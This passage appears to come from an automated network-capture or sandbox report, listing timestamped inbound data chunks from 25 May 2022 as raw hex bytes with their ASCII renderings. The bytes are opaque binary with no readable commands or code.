9b 61 40 bb 7d 3d 7e aa b5 e6 8c f8 c0 9d cb 36 74 cb d0 ed c5 7b 98 a3 38 90 e0 05 43 7c 66 b1 Data Ascii: [ZS_EC{>XN;p8BVD;Q(A+V$"Wy%$=$S{ `jTwo\.<'u9>]An1~?k<HT^qzl3?Cr#]&Aomp49j%{/m7Yza@}=~6t{8C\|f
2022-05-25 14:26:44 UTC	80	IN	Data Raw: 24 1e 3e 70 6d 09 88 fe c6 e1 e3 37 77 83 56 9e 01 55 5f 13 bd 6e 82 26 bd 2a 2b fc 2d 02 b9 56 cb b9 cd 90 38 c1 72 49 8c 48 1f d2 2a 92 7f a0 5d b0 e8 8c 59 f0 f8 13 8e 24 e6 60 f6 09 87 c8 84 87 d2 01 d7 03 d3 30 63 52 7e 55 dc f2 46 11 38 f7 1f 4b 6d f4 f8 3e 12 74 27 22 9b 37 68 a1 08 ec 55 14 99 b8 0e 5c fd 9e a0 fe d7 a9 6c 90 c6 f9 3b 71 7f 75 9a 0b d2 aa c1 67 3e 48 44 3e 60 a2 c5 3f 5d f9 da 1a 80 98 37 06 6c 2f 9d 91 47 a8 51 e9 b9 e9 fc 0f ca 27 e9 2c dd 3d a9 cd 44 55 fc 31 31 99 a0 95 af 96 91 c4 8d 21 f6 59 f2 e8 f8 7c 20 eb 35 6f c5 93 68 7e a7 45 70 e4 f7 02 1a ce d6 a8 9a ad 33 9e 81 07 1e 9a 88 61 25 e4 0c 9a b0 a9 f0 9a 8e d3 dd 98 e9 30 1c 21 11 1e 5a 65 0c 4b c4 57 5b 95 0b b6 d5 b8 9b ba 75 3a 87 33 a9 d5 b9 29 8e ba b5 19 93 f0 5b Data Ascii: $>pm7wVU_n&+-V8rIH]Y$`0cR~UF8Km>t'"7hU\l;qug>HD>`?]7l/GQ',=DU11!Y\| 5oh~Ep3a%0!ZeKW[u:3)[
2022-05-25 14:26:44 UTC	84	IN	Data Raw: c3 f5 78 64 db 4c 91 b6 8c fb d3 08 c8 40 bd 11 c2 4a 3c 65 27 ab 82 ab 00 2a 38 02 a5 b3 58 36 c7 d1 32 63 54 7b ac 44 54 d0 76 0c d2 99 48 40 1c f2 45 70 67 76 f6 8b 93 8e 70 99 ef 92 5c 20 ec d7 3d cf 76 42 05 6e 96 19 dd 75 16 3e 45 be a1 dc b0 aa fa d3 39 05 f4 cf 73 06 ed b6 0e 60 05 1b fa 61 58 d3 6e e9 03 17 2a 8a 82 4a 64 5c 1b 41 07 3b 23 fb a3 c1 c4 1e 39 27 07 04 d4 c8 2d 66 db f9 c2 93 a4 3e 8f 67 9a 17 ad d1 c9 e5 a9 e6 05 de 1c 1d 3a 10 40 4a 69 fb 48 67 71 39 c4 27 75 2f d6 71 69 ff 75 03 a7 71 4e 11 43 58 67 a5 89 3b c1 56 ab a7 b7 45 ef 13 bd a8 06 95 22 8b 7b e4 f3 db e0 71 3c 1a f0 ad 5f 08 f1 01 51 67 90 26 da b8 9f c7 68 b3 dc 48 5c 64 a1 f9 a5 1f 10 7d 57 a0 55 b7 26 15 8c 71 ce 88 10 69 da 35 5a 2f bb 9a 82 1d 3b 22 06 72 07 d7 c8 Data Ascii: xdL@J<e'8X62cT{DTvH@Epgvp\ =vBnu>E9s`aXnJd\A;#9'-f>g:@JiHgq9'u/qiuqNCXg;VE"{q<_Qg&hH\d}WU&qi5Z/;"r
2022-05-25 14:26:44 UTC	88	IN	Data Raw: bd 18 69 a7 02 31 8f f6 ef 1f 1a a1 82 41 07 f4 35 1a 59 38 2b a1 a7 70 03 7f 91 f7 21 db 25 01 2f cc 98 dc 6d c4 e9 8e df 59 f1 e9 c4 31 3f 05 67 57 7b a6 dc e8 a0 e2 30 40 a7 4c 98 6f 44 66 42 89 42 f1 1b 9e 34 67 cb 3c 2f 83 35 ee bc ca b8 30 98 1f 6c df 75 1f e9 4a ef 79 f2 35 80 ad 90 0a e0 ef 1b 87 75 bb 23 8e 3f ad 89 99 85 ee 6e b2 2d e6 43 26 47 27 71 89 e7 5c 11 18 8f 28 76 62 b6 f0 18 02 2a 26 70 88 5d 6a a8 22 e4 5d 18 f1 fa 6a 1e b3 b3 db b9 cf 9d 31 ad d2 c9 32 4e 0d 44 95 09 ec df f4 73 20 7d 57 16 3c e1 c3 4c 24 cf d2 72 a9 c5 7d 36 4a 3e 98 e8 42 b6 75 80 81 98 82 2d f6 67 f5 37 e2 2a eb ab 0d 0e f4 20 05 e9 e9 a1 b3 87 ff 8a 81 21 8d 29 90 fd ac 34 6f c5 08 69 f2 a3 33 28 a2 3d 7f c7 d2 2b 1d c4 c7 ab ba b0 34 b6 8c 68 5f c3 f6 7f 67 de Data Ascii: i1A5Y8+p!%/mY1?gW{0@LoDfBB4g</50luJy5u#?n-C&G'q\(vb&p]j"]j12NDs }W<L$r}6J>Bu-g7 !)4oi3(=+4h_g
2022-05-25 14:26:44 UTC	92	IN	Data Raw: 75 6d c5 01 bb 52 e7 e5 30 e4 0d eb a5 d5 61 73 9f 90 39 cf ca 97 ea 68 bd 98 39 ad fe 90 53 03 ae 57 28 54 ad 7b 60 1d a0 a2 5b da a7 bc f1 79 1a db 65 a1 bf 89 f0 d2 34 d4 12 c3 6c a1 57 48 22 2d 9a a0 86 53 59 7a 64 d5 ae 40 22 b5 c9 6e 28 10 77 a5 18 1a d7 41 77 c7 b6 15 45 1a ef 4d 32 67 26 fb fb db 8f 47 86 c5 e8 32 4c 88 9c 7f 9e 57 62 34 77 a8 4d 91 61 68 18 7b cb 89 fc 97 bd fc a7 0c 42 90 d6 28 77 9f ce 39 42 34 58 c8 51 0e df 05 bc 53 29 4e c3 bc 34 43 4d 61 53 2c 3a 1f 81 f3 8d d1 4f 25 2a 1b 18 fe e6 20 3a 83 9f aa d0 9a 0a ec 6a 83 43 8e be cf ef b6 e8 01 8e 0e 66 14 36 46 14 7f f9 2d 3b 32 79 cf 27 43 33 ed 77 35 c6 78 08 a0 78 63 3f 48 1a 41 c7 ae 5f 89 4e ac a1 b7 41 83 53 93 cc 0a a6 55 a9 1f 88 88 b5 c3 71 09 1b f3 93 72 56 c3 47 15 66 Data Ascii: umR0as9h9SW(T{`[ye4lWH"-SYzd@"n(wAwEM2g&G2LWb4wMah{B(w9B4XQS)N4CMaS,:O%* :jCf6F-;2y'C3w5xxc?HA_NASUqrVGf
2022-05-25 14:26:44 UTC	96	IN	Data Raw: ea b4 5f 16 bd 8b 66 4c 59 25 e4 57 11 c7 0d 1c a2 ab 72 41 28 c3 56 6e 3b 4b c7 b1 93 9e 1e a0 e3 b6 6a 03 9c e0 44 ba 72 6c 0f 4f ab 13 b3 30 40 29 60 86 99 f8 ab e5 ad df 1a 26 80 a8 76 1c ed c3 2d 5c 25 45 cb 5c 02 8b 36 92 61 25 2b f3 9d 7e 7c 7b 4e 1d 30 7d 79 ed a8 e5 a5 25 62 17 2c 1b ac 8c 46 0b ae a9 b2 bb 8a 40 92 67 8c 47 a1 dc a9 d6 b2 81 7b c6 6f 36 3a 46 34 40 5d f1 03 1d 3b 2a bc 61 20 25 fd 2a 6b e3 6d 2b b7 7d 4e 1c 04 16 3a fd b0 3b c4 56 b4 b2 82 71 a2 25 8b 88 19 a3 47 bc 64 e0 fa d8 f3 50 09 24 ab 9b 61 52 8b 6c 16 62 b6 37 e9 fe b9 bf 1a ce 9a 71 3a 28 8f 82 d9 2e 00 24 17 f3 59 a4 4a 50 fb 62 82 ac 11 4d be 4c 6d 20 a2 bb db 5f 10 1a 3f 65 03 cc d4 37 27 e4 c4 55 68 37 39 fe d3 17 b6 83 ef 51 2c fc 08 74 76 99 b6 ed 9c ef e9 a4 91 Data Ascii: _fLY%WrA(Vn;KjDrlO0@)`&v-\%E\6a%+~\|{N0}y%b,F@gG{o6:F4@];a %km+}N:;Vq%GdP$aRlb7q:(.$YJPbMLm _?e7'Uh79Q,tv
2022-05-25 14:26:44 UTC	100	IN	Data Raw: 5e b3 6d 66 04 d1 fa ec 34 aa 8c de a0 36 b8 b1 91 1c 7b 04 7b 51 79 8c ea f3 98 b6 7a 24 c5 23 a0 7e 37 23 10 9b 49 fd 65 cf 21 1f ca 30 0a b4 42 be 9f f8 af 67 85 1b 1d ee 0f 6d c2 45 e5 4b b2 71 b9 b1 ca 0e e4 e4 61 8a 48 ba 63 f7 38 84 f5 94 b5 aa 04 e3 4b b4 0f 76 54 2f 43 ba da 55 20 61 b5 0f 75 17 b1 d7 2d 10 2e 2e 55 cd 3b 6f be 4e c8 06 51 94 9c 39 4b b5 8a 84 f3 ca 99 63 ad ea d8 6d 00 3c 09 d2 31 e3 e4 f3 41 01 3a 7a 23 34 e7 f3 73 70 ab f6 22 8a 91 05 3a 6b 16 bc 91 6a ce 04 e8 c5 ee dd 6b 8b 63 fc 32 c4 05 ba 8e 20 0c d8 5a 72 f2 e5 a0 cb 82 84 d5 df 3d e9 67 d9 a6 a1 36 65 db 1f 6f ac 88 70 2e be 22 74 bc 93 60 14 d8 9c 90 9d d7 10 81 f3 1c 19 a9 9b 59 08 8b 6a b5 bf af 8a ba 8e b6 d9 ab 83 0f 0d 1d 28 07 06 5c 58 37 8d 4e 40 fd 2a 97 90 b9 Data Ascii: ^mf46{{Qyz$#~7#Ie!0BgmEKqaHc8KvT/CU au-..U;oNQ9Kcm<1A:z#4sp":kjkc2 Zr=g6eop."t`Yj(\X7N@*
2022-05-25 14:26:44 UTC	104	IN	Data Raw: a6 f2 53 4f c7 1f 5a 74 8f 76 2f 3e bf b1 44 a5 bc 95 cf 5d 67 f7 39 b6 be f8 a7 97 6b ba 0b fa 15 fd 60 5c 6e 06 ad b7 aa 5a 7b 71 73 a1 f6 76 17 b2 87 1c 6a 40 30 9f 08 11 f1 54 52 e4 bf 6c 5e 2f d9 7c 62 6f 26 ea b3 e5 9f 15 e8 81 e8 7e 24 de c7 42 95 73 74 05 70 a8 6a 82 3b 73 07 64 a5 83 c2 b6 dd e9 b7 2f 0c a8 8f 7b 21 d8 a4 11 12 2b 61 e8 76 57 a6 3d fa 57 05 46 b9 eb 3a 46 68 4c 5a 59 61 7e c4 89 be 95 10 66 3e 16 13 f1 c8 41 17 99 e2 b1 b3 ad 0a 9f 61 bc 63 d9 c1 c8 e1 99 e4 57 aa 09 69 53 2a 70 16 11 9c 56 67 00 28 9a 67 60 32 c2 02 60 c1 79 3c 88 05 0c 75 5b 5d 2d b6 ea 5f ca 2a fe f4 ed 0e ba 31 94 91 13 99 09 cf 52 bc cc ea e7 51 6a 54 d0 81 44 59 80 47 3d 2b c2 50 9a b5 a4 83 76 e1 e9 2e 72 77 97 ff f6 20 1c 14 50 ad 4b bb 75 5b d5 07 a2 c4 Data Ascii: SOZtv/>D]g9k`\nZ{qsvj@0TRl^/\|bo&~$Bstpj;sd/{!+avW=WF:FhLZYa~f>AacWiSpVg(g`2`y<u[]-_1RQjTDYG=+Pv.rw PKu[
2022-05-25 14:26:44 UTC	108	IN	Data Raw: d9 66 23 9c ee 0d 4d 10 09 11 2a 13 39 8e 20 de e1 bb 13 64 b3 1b 59 b5 f3 eb 04 1c ee da 41 63 ac 30 6e 60 6c 19 8a e4 7a 13 65 a1 b8 24 d6 3a 1d 1c d2 cb d8 5e d5 cd c7 a4 30 be b1 fb 08 27 33 7f 72 3b 8b e7 df ad ce 3f 50 83 70 a2 59 6f 7b 72 8f 4b bd 53 fb 62 3f ba 2b 25 af 75 c3 93 ee cf 3b f2 74 45 8f 48 12 ca 6b b8 48 cb 45 8c ae b8 42 f3 d6 21 b9 79 e4 77 83 08 9c df b3 86 fb 40 e3 2b e6 0e 5f 64 40 65 9a d8 37 3b 23 9a 00 63 53 e0 de 16 31 62 1e 65 dd 7e 5a b3 19 d1 0f 48 b0 ad 23 1d ac ab 9f be fc af 01 9c ed ca 2c 49 59 6b 9d 32 c5 f7 a0 72 13 7d 7f 03 22 f4 d5 06 66 fb e9 1c b3 a2 44 33 63 32 a9 9b 63 82 20 fe f3 de de 28 dc 14 c9 02 c0 31 a3 b9 08 1a 8d 33 00 b0 b6 a2 9d 8b c7 8d a9 3f de 75 fc 9c fd 2a 35 c2 7e 4e fa 84 5e 5e b3 07 26 c7 ff Data Ascii: f#M9 dYAc0n`lze$:^0'3r;?PpYo{rKSb?+%u;tEHkHEB!yw@+_d@e7;#cS1be~ZH#,IYk2r}"fD3c2c (13?u5~N^^&
2022-05-25 14:26:44 UTC	112	IN	Data Raw: 2b d8 d1 83 b4 10 f9 b5 ab 08 15 26 9d 65 70 48 aa 63 53 ef 58 85 58 db 94 6d c9 58 c3 d2 a2 30 7c f8 e4 2a b0 80 9d 96 28 c6 c1 6b c4 c7 e1 08 5a 83 46 71 10 eb 0c 65 2d ae ed 70 8f 93 fe 84 2e 52 98 0c f2 85 bb 8c fd 19 f8 46 c5 4f fb 60 72 34 1a 9f 86 b5 52 79 6c 49 ea ad 47 22 fe b6 52 28 3b 4a d4 3c 70 98 39 29 96 d5 17 02 4c 84 26 2e 3e 14 81 c6 a6 c4 35 ed a0 d0 2f 4c ba 20 ab fb 20 07 4d 18 c4 31 cf 46 2a 5d 91 36 cb 8f c8 f5 8f f0 eb c4 c7 fe 07 67 bd e1 41 30 4a 3b 90 07 77 fa 68 df 2c 76 7a ab d0 02 30 18 30 aa ae 0d 49 bd dc 0d 42 76 53 73 73 5f 98 b8 11 49 cf de f8 e3 da 60 da 32 c8 32 eb 80 ed 92 c1 d4 2f 8e 2f 48 65 42 1d 7c 3f 9c 70 4a 70 1a e7 56 01 7a b4 51 8d a0 39 60 c2 27 bb 56 38 6b 1a 8c de 07 bf 95 d2 e9 c0 31 d5 63 f7 fa 4d e3 e1 Data Ascii: +&epHcSXXmX0\|(kZFqe-p.RFO`r4RylIG"R(;J<p9)L&.>5/L M1F]6gA0J;wh,vz00IBvSss_I`22//HeB\|?pJpVzQ9`'V8k1cM
2022-05-25 14:26:44 UTC	116	IN	Data Raw: ef 2f f7 b2 47 10 4a 04 8a 10 f0 c9 6f 84 19 22 7a 4e 60 30 44 28 65 31 55 a3 2d 79 9e a7 62 17 96 03 36 44 ce fc 81 bc e8 c5 1a dd 68 98 0a 4f de 97 7d 28 63 09 46 58 7b 4d eb 61 b2 8d b1 6a 10 d6 30 79 f4 9c c6 29 7c 9c 5b 45 24 c9 44 28 0f 00 6d ef 96 2a 67 b7 9a 8f 50 8c fc 73 cf 40 ef 8d 5d b5 11 ca ca 04 d3 d4 61 8f c0 82 f8 5d 14 94 6d f4 4f c3 da c6 67 d4 d0 31 64 6b 9b 87 fe 6d 99 92 df 2e f7 ab 32 61 76 65 e5 1b cf 61 31 ea b2 59 cf bd 22 63 14 4b 69 71 be 2c 7a 39 7e 6d 57 83 e4 dd d7 e7 df 8b 07 23 5d 8b a9 53 47 54 fc 22 d3 33 96 70 72 fb 7d a1 bc ee a9 e4 78 6b c4 88 5d f1 20 87 9b 74 d4 b7 fa 26 c6 89 a1 72 59 e9 ac 89 d0 79 08 b3 8e 5d 24 27 46 73 7d ea 2f 6b e5 7e 23 a9 6f ad 34 fd f6 c8 3f a0 06 af 48 00 23 ea 96 35 57 00 a4 a4 b0 aa d2 Data Ascii: /GJo"zN`0D(e1U-yb6DhO}(cFX{Maj0y)\|[E$D(m*gPs@]a]mOg1dkm.2avea1Y"cKiq,z9~mW#]SGT"3pr}xk] t&rYy]$'Fs}/k~#o4?H#5W
2022-05-25 14:26:45 UTC	120	IN	Data Raw: 8e c7 56 e5 66 b6 95 01 5e b6 6f ff 48 50 dd fa 86 db 43 48 cc c2 ba 29 e0 74 82 ef d5 52 9c 96 de 5a 7c 76 17 c9 3a 3b 40 7a 64 e4 66 48 db 21 c6 10 ab 35 2f 17 a5 1e 09 e2 81 cc 57 91 bd 22 e1 fa 6e a0 e9 01 cc 40 99 9d e4 d7 10 e2 2d 37 19 a0 a9 61 b4 9f 9a 08 11 5d fe e4 69 21 f9 31 be 70 4a 9e a3 05 09 c4 b6 7b ca cb 40 c8 46 cf ec 99 ac 25 1b a2 44 a6 36 7b cf 60 b1 7c 10 2d 24 2c 73 77 6b 52 5c 4e 2d e5 13 c1 9a 25 a5 25 b3 62 08 1a ce eb 23 fd e1 e5 24 1c 59 75 64 f2 6a 8f ea 34 6a d0 69 3b 5f db 53 d6 47 46 9f 62 38 f1 92 60 62 72 1b 31 0c 92 b1 ed 56 9a b6 44 d4 29 65 42 51 b1 68 77 9e ed 19 86 d8 f7 a7 eb a1 70 3a 6f 05 c1 92 2d f1 e2 72 6a 64 0e cd 4b e8 c6 d6 81 80 7a 06 ea 04 8d 02 a2 3e 44 37 c6 e7 a1 2f 36 09 14 13 ac 1f 38 03 76 d9 0e 77 Data Ascii: Vf^oHPCH)tRZ\|v:;@zdfH!5/W"n@-7a]i!1pJ{@F%D6{`\|-$,swkR\N-%%b#$Yudj4ji;_SGFb8`br1VD)eBQhwp:o-rjdKz>D7/68vw
2022-05-25 14:26:45 UTC	124	IN	Data Raw: 50 7f 39 59 56 f7 7b 39 85 94 19 2c 9d 4d 67 3d f8 38 49 58 11 27 14 16 4e 30 46 f0 85 da 5b 82 a4 1b 98 d5 c3 4c ba a8 ae 73 f5 91 67 80 63 a1 24 54 e7 a2 82 a5 b3 64 13 79 c3 96 b4 0b 0f 9c f9 69 66 1c 5a a5 f6 10 33 4c e7 c6 28 1b 35 1c e0 62 65 ba 16 30 72 d4 1c 52 dd e1 91 5f fa f3 3c ec 8a eb 4e 38 aa 62 13 0f 8c a8 60 ba b2 cb b7 d3 8f 85 5d d5 60 f7 0f 64 61 f1 b2 57 0e 21 6d 7f a4 96 47 b5 8f 80 e3 54 28 74 44 65 86 e3 0e a0 d1 d2 c8 7a da 92 a8 04 77 a9 d2 be 31 13 d6 7e d8 0b 9a 19 09 11 7f b2 e0 d8 a2 40 91 31 1b 75 4f 88 f1 4a 73 db 46 9c d0 84 48 6f a2 7f 95 c5 5c 79 cf af d3 8b b8 57 9b 98 da 57 6c c9 a0 7e e1 9b ab 24 82 d3 20 4f a5 da e2 4b 20 d2 3b 29 ca 9c 8e ed f9 ff 3c a9 86 e8 42 a5 8d e7 fc 33 b9 0b da b2 c6 16 db f2 d8 ff 09 b6 ff Data Ascii: P9YV{9,Mg=8IX'N0F[Lsgc$TdyifZ3L(5be0rR_<N8b`]`daW!mGT(tDezw1~@1uOJsFHo\yWWl~$ OK ;)<B3
2022-05-25 14:26:45 UTC	128	IN	Data Raw: 74 2b e3 83 d5 f7 d9 59 03 0e ca 78 68 4a b5 0c 49 c6 d8 69 23 93 0e 29 a4 11 c5 ba a7 3a 54 a5 24 32 15 39 12 c0 9e 74 6c c8 56 27 48 7c 92 bb 58 f8 3f 3e 78 b6 d8 59 a6 c8 5b f4 5e 2f e0 d7 1f 3c 22 03 a2 90 01 5d 65 f1 4c dd a3 22 53 43 6e 34 08 c2 85 da 7b bb 78 25 c7 ec 63 2a 41 a1 39 70 c6 cf 73 82 28 74 d5 1b ae 2e 95 03 2a d8 e3 e0 72 6d 03 ab 7d 69 ca fc b8 2c d0 41 90 df 7d 23 d0 d9 3d 68 8f 4a e1 a0 e3 47 5c 00 c1 74 7f 4e c2 d7 0f a9 de 41 1e 55 d3 6b 48 ff b5 f5 ed 94 3c b1 b3 68 c4 83 da 11 47 44 65 44 65 4e 1e 3b 38 e5 a0 0b e8 85 22 6d 4f 89 ea db 21 4a 12 f0 9c 32 a4 00 f5 b7 cd 80 b5 c0 04 54 bc 8a 07 4f d5 72 de 89 d2 5c 51 19 04 3b 13 4d ae 52 88 23 95 ec ab 47 7e e3 e6 b9 bc 3a 1c 27 ce 73 fd 1e 68 b5 e7 56 a8 36 4e 9b fe 43 f4 ff 70 Data Ascii: t+YxhJIi#):T$29tlV'H\|X?>xY[^/<"]eL"SCn4{x%cA9ps(t.rm}i,A}#=hJG\tNAUkH<hGDeDeN;8"mO!J2TOr\Q;MR#G~:'shV6NCp
2022-05-25 14:26:45 UTC	132	IN	Data Raw: 24 80 8e 8a 17 98 a5 cc 8f dd f9 2e 1c 27 a6 80 e5 e1 40 b6 92 3d 78 8d 2e 6f ee ca 2d 9b 2a bc ab 2c c7 d9 87 d9 bb bf 72 e6 c7 18 e2 a2 e1 fd 08 19 ea 39 7e e7 71 ce ff b6 89 41 bf 3b 47 f9 63 92 cb b4 5e ec 60 99 50 74 bd 20 bc eb 30 44 8c 63 cf f7 66 cb 80 e4 78 03 43 8d 17 fa 35 e1 f4 9d 90 2f 54 b1 39 dc 0e c6 0d e7 7e 97 ad a3 a7 ab f5 76 83 96 96 68 b1 78 57 f6 7a 58 94 65 75 34 18 fb 95 59 a7 91 8c 07 e4 64 21 d1 03 78 a0 04 b4 ec 2c db 7c b3 12 72 80 87 0f a3 f7 07 0a 7d 09 83 57 06 cf 67 5b 0c 1e 4a 35 64 7b f4 d0 13 66 26 42 f9 cf 6e ef c7 5f d0 35 69 6d 1d 61 d5 bd 6f af 27 c8 cd 92 fd 76 a9 44 47 fe b4 df 77 43 6f 94 0c d6 c4 bb d0 4b 46 0d c0 ab 56 ed 7c 47 05 5e 9d e2 8c f5 1e 12 85 b8 23 28 bc fe e2 7e a8 0f 44 a1 c2 ea c3 61 ff f6 62 78 Data Ascii: $.'@=x.o-*,r9~qA;Gc^`Pt 0DcfxC5/T9~vhxWzXeu4Yd!x,\|r}Wg[J5d{f&Bn_5imao'vDGwCoKFV\|G^#(~Dabx
2022-05-25 14:26:45 UTC	136	IN	Data Raw: ae f0 56 59 29 46 53 4c 45 df 80 99 f5 42 a9 41 16 5a e7 0f 05 4e 98 ff 43 73 96 76 69 9c e7 77 43 c0 b0 77 75 9f ad 9c f6 4e ee 33 a4 53 78 99 42 36 82 c6 71 71 9a 6f 4c 17 ba ef 95 eb bd 6e 47 18 f9 a2 35 84 6f 39 13 b3 42 c1 d3 34 9d 6b 87 37 dc 96 8d d4 e7 f3 7f 38 e5 a0 3e 83 f2 0a 1d f1 ad dc 90 a7 53 c4 df 92 f8 30 a4 81 a2 a4 9b bd c6 bc b2 29 12 9e bb 5d 63 94 62 6f a8 8d 75 db 39 cf ae 5b c8 3a cd cb 1e e2 bb f3 a3 03 4c 72 88 7b 80 12 21 f9 6b 81 93 a8 05 b5 e7 10 61 ef b0 ec ff e8 99 f4 1f 70 7d f8 d6 26 f9 0e 60 d5 e6 7a 53 2b c8 c2 ec 56 39 8a 9f ec 29 12 ac d0 6b 51 22 c9 c1 48 bb 6e 21 37 a1 37 23 cc 0d 5c 18 f7 73 24 c5 f8 a2 ad 9b b1 49 2b 65 8a 4a 23 f7 d9 05 27 1f 63 31 48 cc 08 11 ba 38 63 f4 1a 14 58 1c 91 48 ef 3f e7 40 a5 3f 0e 8a Data Ascii: VY)FSLEBAZNCsviwCwuN3SxB6qqoLnG5o9B4k78>S0)]cbou9[:Lr{!kap}&`zS+V9)kQ"Hn!77#\s$I+eJ#'c1H8cXH?@?
2022-05-25 14:26:45 UTC	140	IN	Data Raw: 5c 2d 60 9b c4 5c 04 74 cd a5 04 38 11 91 ce e7 a1 7d 41 9c b8 29 39 0f 29 21 2c 72 c6 ef de 3c 44 e9 40 93 25 2c 10 d4 0f 4e 30 f2 41 be a4 e9 da b7 ab f0 b8 4a 0f 0d 82 5c 4e 76 57 8d 61 3a 53 f6 d4 2d 3c dc dc af 16 64 23 bf e9 02 b6 d4 47 36 fc 1d c0 cf 97 4a 75 3b aa c6 7e 77 a3 98 7d 4a 9c 31 94 d6 39 ff 13 7d 7f 81 1f 6b b7 81 3a e0 b0 74 4a 8e d8 5b ee 2f 57 13 96 a5 83 e7 4b c7 ea 09 c3 ef 4c 77 99 4a 5c 42 cb 63 26 7f aa 60 f2 af 32 fc cb 06 d2 cc cf 0a a7 bd 98 1a 9d c4 e9 34 63 73 71 f0 a4 13 bb 95 a4 55 56 ea f8 e9 47 c3 4d dc e8 9b 08 93 f3 f5 20 c0 85 c7 2b ca bc ab 64 a3 fb b5 5d b4 d8 4d df 66 de 9f cd b3 e0 31 51 3c 57 3b 0a 22 06 6d 6c 38 ac bc f0 56 c5 c1 ab 92 8c 40 db ad 9f 9c 82 ba 23 bd 24 b9 4b 5d c0 0f df 61 7f 7c 68 0d e5 6e 41 Data Ascii: \-`\t8}A)9)!,r<D@%,N0AJ\NvWa:S-<d#G6Ju;~w}J19}k:tJ[/WKLwJ\Bc&`24csqUVGM +d]Mf1Q<W;"ml8V@#$K]a\|hnA
2022-05-25 14:26:45 UTC	144	IN	Data Raw: 72 ba b2 e3 5a 8b 60 4f 43 ef 4b 75 d1 e6 cd 29 b5 2e 32 0c 51 c9 46 58 5b 1e 2f 21 3e 2a 8d 05 c7 4f 4c ea 40 80 d5 a2 be 9d 5a c9 0d 2d 5b ea 59 06 4d c5 2a 0c 96 ec 43 d5 70 c1 c4 35 a7 61 a4 1a 5a 36 6b 81 6d 95 91 95 40 62 e8 47 18 4f 1d c8 81 2d 14 1d 21 7e 44 66 76 f5 53 b6 99 34 3e a3 60 54 e4 ef 40 d7 3c 69 f1 1e e0 aa fd b7 98 b4 f2 6c 35 94 33 5f 57 40 8c aa 57 9d 3f 9f 29 55 c0 1b 39 93 d0 67 19 bc 56 ac 85 a0 f7 46 37 31 9d ab 94 36 5d f2 7e 0a 41 ab bf 14 ce 51 ba db cb dc 85 7d 4b 91 52 28 0f 6a 51 a5 4c f5 f1 60 66 55 78 dd ab d8 de 9e 95 74 99 2d 03 50 5b a0 44 5f 81 0f 2a 44 ea 95 b8 29 95 94 98 87 e8 e7 04 81 04 0e f4 0b 1f f6 81 1e f4 75 88 24 ea 75 24 ac d8 d0 c9 51 6b 2f b1 3c 5c 34 87 12 c5 a8 cf 5b af 21 ed f0 65 a9 51 d7 7e 26 8c Data Ascii: rZ`OCKu).2QFX[/!>OL@Z-[YMCp5aZ6km@bGO-!~DfvS4>`T@<il53_W@W?)U9gVF716]~AQ}KR(jQL`fUxt-P[D_*D)u$u$Qk/<\4[!eQ~&
2022-05-25 14:26:45 UTC	148	IN	Data Raw: 41 4f 43 8e 0e a2 bb e5 89 dd 2d b8 2d b4 02 1e 77 7e 1c 32 05 62 07 b5 68 6c 2e 28 98 20 59 a0 f6 76 e8 e4 b0 92 cc 83 19 a1 13 f6 fd 17 f0 b6 dd be 0b 55 73 49 ae 87 fd ba 3c ba 6c 1d 69 a5 7c 3b a4 33 16 ba ea dd e7 f5 51 68 13 97 8a 8a 56 7e 9d 24 9a 83 04 1a 06 f5 84 f4 17 b5 00 ec 9e 09 6a ee 86 3f 69 6c c5 cf bd ba c6 3d 9f e8 ca 79 88 e9 af 6e bd 22 f2 0f db aa a3 f1 a7 54 12 b6 3e 96 e3 82 40 69 bd 49 1d e2 d2 96 33 f9 7f 95 8a c2 41 56 ef 07 37 85 29 cb c3 47 17 9f 40 32 3d a4 f4 50 a7 75 7a 63 70 ba 66 28 59 42 8d a7 7f 03 90 e7 0b 8f b4 2f 83 cd 67 d7 5f 94 2e c0 b4 61 f5 a3 be 41 bb a0 86 68 28 90 8e de 72 b7 6a 9a 7d 0e 60 81 f4 ca f1 7e bf e6 a4 5b 21 a3 b7 58 69 fb 17 4c a1 48 82 ed d2 b4 40 e9 bf e4 67 8c f3 57 71 51 3c 22 62 5a 64 40 61 Data Ascii: AOC--w~2bhl.( YvUsI<li\|;3QhV~$j?il=yn"T>@iI3AV7)G@2=Puzcpf(YB/g_.aAh(rj}`~[!XiLH@gWqQ<"bZd@a
2022-05-25 14:26:45 UTC	152	IN	Data Raw: a1 7d 36 f3 e9 66 d8 71 06 a1 0b 8d 6e 14 ce 73 12 c5 96 81 08 3e 7e fa 66 ee 2f 95 29 25 c0 a7 c1 ab 59 19 49 0b ee 20 83 85 00 47 cb 1f 80 34 bd 0c 6f 79 68 4c 06 bf da 52 f8 00 67 72 7f 99 77 53 b7 4b 62 6d e1 5e ef 77 94 18 fb 3f 0b 15 ae bc a9 60 99 48 c9 61 7c 11 b4 2f 17 14 68 17 c5 f5 f3 ae 17 52 63 21 42 41 c4 08 de 52 60 f3 c4 00 68 be 78 01 84 33 47 6c 5f da 7b 8b 62 20 bb ec a1 35 8b e5 da 9c 84 c1 97 fc 75 5a b1 f5 73 c8 48 c0 a7 5b cf 4c 7c 3b 1c 6b 4e 0d a5 3f d0 c3 be f4 f5 e4 ce 95 35 13 06 47 36 f8 03 83 9e 96 10 de 2b f9 19 3c 54 69 aa 07 2c e7 ee 40 2a bf dd eb 27 77 13 b0 17 49 39 27 cb 4c 2e 4c 18 1e c8 de 5c 9f d9 84 7b 22 ff 3a 2e 1b 38 32 b3 78 06 3c 59 1c 78 ed 90 ce 6c 37 c7 cd 98 69 8d 7f 45 52 90 22 e6 3b 10 64 66 61 a7 34 67 Data Ascii: }6fqns>~f/)%YI G4oyhLRgrwSKbm^w?`Ha\|/hRc!BAR`hx3Gl_{b 5uZsH[L\|;kN?5G6+<Ti,@*'wI9'L.L\{":.82x<Yxl7iER";dfa4g
